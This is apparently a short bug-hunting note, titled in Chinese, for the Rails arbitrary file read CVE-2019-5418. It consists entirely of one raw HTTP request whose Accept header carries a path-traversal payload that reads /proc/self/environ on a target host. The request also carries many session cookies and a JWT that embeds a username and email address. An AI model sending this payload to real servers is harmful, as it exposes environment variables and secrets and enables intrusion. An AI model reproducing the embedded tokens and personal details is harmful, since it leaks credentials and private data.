挖洞生活 rails 任意文件读取 （CVE-2019-5418）

GET /chybeta HTTP/1.1
Host: 10.11.12.28:59194
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
Accept: ../../../../../../../../proc/self/environ{{
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6
Cookie: splunkweb_csrf_token_8000=17687318484990488627; session_id_8000=41bb786c663dac5ff712ce0a38753df8c8b695a0; vue_admin_template_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjozLCJ1c2VybmFtZSI6ImZpdHoiLCJleHAiOjE2OTI0MzE1ODIsImVtYWlsIjoiNzE4NjE0NDEzQHFxLmNvbSJ9.cufJyZ3Hwn3Z0Qm54pvnSsP-YGRc8drQFHXppAixf2I; JSESSIONID=7DB0E31C1725C02142FF4176928E826F; inPlta_think_language=zh-CN; PHPSESSID=chnl9pemp3k60ijod66al962f0; thinkphp_show_page_trace=0|0; metabase.DEVICE=5a1e2885-e522-4a88-906f-ed9c98e44527; _ga=GA1.1.1867090017.1692347503; _gid=GA1.1.344593127.1692347503
If-None-Match: W/"899de88211d6fa410b2ab67bb4d7e047"
Connection: close